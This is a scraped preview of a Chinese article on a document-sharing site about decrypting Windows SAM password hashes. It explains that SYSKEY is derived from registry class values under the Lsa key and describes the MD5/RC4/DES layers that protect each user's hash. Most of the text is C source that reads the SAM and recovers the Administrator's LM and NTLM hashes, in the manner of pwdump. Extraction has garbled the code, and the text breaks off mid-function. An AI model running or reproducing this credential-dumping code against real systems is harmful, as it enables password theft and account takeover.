SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx

上传人:b****5 文档编号:17427464 上传时间:2022-12-01 格式:DOCX 页数:21 大小:20.57KB
下载 相关 举报
SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx_第1页
第1页 / 共21页
SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx_第2页
第2页 / 共21页
SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx_第3页
第3页 / 共21页
SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx_第4页
第4页 / 共21页
SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx_第5页
第5页 / 共21页
点击查看更多>>
下载资源
资源描述

SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx

《SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx》由会员分享,可在线阅读,更多相关《SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx(21页珍藏版)》请在冰豆网上搜索。

SAM的散列存储加密解密算法以及SYSKEY的计算Word格式文档下载.docx

|

F键信息的后0x20字节-------------------

当需要解密SAM中加密数据到散列时(如远程登陆):

读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey

利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。

-------------------------

|sampsecretsessionkey|

|sid|MD5

LMPASSWOR"

/"

NTPASSWOR"

sessionkey---

|||RC42次DES(填充SID做KEY切分)

-------------------------|----->

-------------------------->

HASH

对应的SAM中加密的密码散列---------------------------------

这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);

这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。

那么SYSKEY是如何计算出来的呢?

这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:

SYSKEY的计算是:

SYSTEM\\CurrentControlSet\\Control\\Lsa下的

JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。

这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。

下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:

当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西。

另外关于PWDUMP具体的方法,由于其是加密和反跟踪的,我没时间做仔细调式分析,但是从REGMON监视其注册表操作的过程来说,是没有去读LSA下的任何东西的,因此可以断定他是直接获得ampsecretsessionkey来进行对SAM内容的解密到散列的。

//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章中的代码,这里不再给出

//voiddeskey(char*LmPass,unsignedchar*desecb)

//voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);

//voidmd5init(unsignedchar*LM);

//voidmd5final(unsignedchar*LM);

//voidinitLMP(char*pass,unsignedchar*LM);

//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个

#include<

stdio.h>

windows.h>

#include"

des.h"

voidgetsyskey(unsignedchar*syskey);

voidgetsampsecretsessionkey(unsignedchar*syskey,unsignedchar*fkey);

voidmd5init(unsignedchar*LM);

voidmd5final(unsignedchar*LM);

voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);

voidrc4_2bc6(unsignedchar*rc4keylist,intkeylen,unsignedchar*key);

voidgetsamkey(unsignedchar*sampsskey,unsignedchar*uid,unsignedchar*passwordtype,unsignedchar*sessionkey);

voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid);

voidinitLMP(char*pass,unsignedchar*LM);

voiddeskey(char*LmPass,unsignedchar*desecb);

voiddes(unsignedchar*LM,char*magic,unsignedchar*ecb,longno);

voidmain()

{

inti;

//下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式

charusername[]="

SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator"

;

charkeyname[]="

SAM\\SAM\\Domains\\Account\\Users\\000001F4"

unsignedlonguid=0x1F4;

unsignedcharsyskey[0x10];

unsignedcharensamnt[0x10];

unsignedcharensamlm[0x10];

unsignedcharsessionkey[0x10];

unsignedcharbuf[0x400];

unsignedcharsampsecretsessionkey[0x10];

unsignedcharlmhash[0x10];

unsignedcharnthash[0x10];

unsignedcharfkey[0x30];

unsignedlongss;

DWORDregtype;

DWORDregint;

unsignedcharpasswordtype[5][100]={"

LMPASSWORD"

"

NTPASSWORD"

LMPASSWORDHISTORY"

NTPASSWORDHISTORY"

MISCCREDDATA"

};

HKEYhkResult;

HKEYhkResult1;

//SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码

//读出F键中用于计算

regint=0x400;

ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"

SAM\\SAM\\Domains\\Account"

0,KEY_READ,&

hkResult);

if(ss!

=0)

printf("

noPrivilege!

\n"

);

ss=RegQueryValueEx(hkResult,"

F"

NULL,®

type,buf,®

int);

for(i=regint-1;

i>

=0;

i--)

if(buf[i]!

break;

memcpy(fkey,buf+i-0x2f,0x30);

ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&

//检查此用户是否存在

=ERROR_SUCCESS)

return;

//读取该用户下的V键中加密的散列信息

//由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此

//但也不排除例外,那就需要具体分析V中的结构来计算了

ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&

V"

memcpy(ensamnt,buf+regint-0x18,0x10);

memcpy(ensamlm,buf+regint-0x2c,0x10);

//计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件

getsyskey(syskey);

//利用SYSKEY,F键中的KEY计算sampsecretsessionkey

getsampsecretsessionkey(syskey,fkey);

memcpy(sampsecretsessionkey,fkey+0x10,0x10);

//上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内

//当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理

//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的

getsamkey(sampsecretsessionkey,&

uid,passwordtype[0],sessionkey);

memcpy(lmhash,ensamlm,0x10);

//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列

getsamhash(lmhash,sessionkey,&

uid);

HASH:

:

"

for(i=0;

i<

0x10;

i++)

%02x"

lmhash[i]);

//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的

uid,passwordtype[1],sessionkey);

memcpy(nthash,ensamnt,0x10);

//利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列

getsamhash(nthash,sessionkey,&

nthash[i]);

}

voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid)

unsignedchardesecb[128];

unsignedcharrc4keylist[0x102];

unsignedcharLM[0x10];

unsignedcharp1[0xe];

unsignedcharp2[0x10];

memcpy(p1,uid,4);

memcpy(p1+4,uid,4);

memcpy(p1+8,uid,4);

memcpy(p1+0xc,uid,2);

//上面是用SID填充DESECB的KEY

rc4_key(rc4keylist,sessionkey,0x10);

rc4_2bc6(rc4keylist,0x10,ensaminfo);

//RC4处理一次再用DES解密

initLMP(p1,LM);

deskey(LM,desecb);

des(p2,ensaminfo,desecb,0);

initLMP(p1+7,LM);

des(p2+8,ensaminfo+8,desecb,0);

memcpy(ensaminfo,p2,0x10);

voidgetsamkey(unsignedchar*sampsskey,unsignedlong*uid,unsignedchar*passwordtype,unsignedchar*sessionkey)

//根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY

unsignedcharLM[0x58];

intlen,i;

md5init(LM);

20;

if(passwordtype[i]==0)

len=i+1;

memcpy(LM+0x18,sampsskey,0x10);

memcpy(LM+0x28,(unsignedchar*)uid,4);

memcpy(LM+0x2c,passwordtype,len);

memset(LM+0x2c+len,0x80,1);

memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));

*(DWORD*)LM=0x200;

*(DWORD*)(LM+0X50)=0xF8;

md5final(LM);

memcpy(sessionkey,LM+8,0x10);

voidgetsyskey(unsignedchar*syskey)

unsignedcharkeyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,

0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};

//换位表

unsignedcharsyskey1[0x10];

inti,j;

longss;

unsignedcharclassinfo[0x10];

DWORDc1;

SYSTEM\\CurrentControlSet\\Control\\Lsa"

ss=RegOpenKeyEx(hkResult,"

JD"

hkResult1);

i=0;

memset(syskey1,0,0x10);

c1=0x10;

if(ss==ERROR_SUCCESS)

ss=RegQueryInfoKey(hkResult1,classinfo,&

c1,0,0,0,0,0,0,0,0,0);

RegCloseKey(hkResult1);

%s\n"

classinfo);

for(j=0;

j<

8;

j++)

if(classinfo[j]>

=0x30&

&

classinfo[j]<

=0x39)

classinfo[j]=classinfo[j]-0x30;

elseif(classinfo[j]>

='

a'

&

f'

classinfo[j]=classinfo[j]-'

+0xa;

A'

F'

else

syskey1[i+0]=16*classinfo[0]+classinfo[1];

syskey1[i+1]=16*classinfo[2]+classinfo[3];

syskey1[i+2]=16*classinfo[4]+classinfo[5];

syskey1[i+3]=16*classinfo[6]+classinfo[7];

i=i+4;

Skew1"

GBG"

Data"

0,K

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 法学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1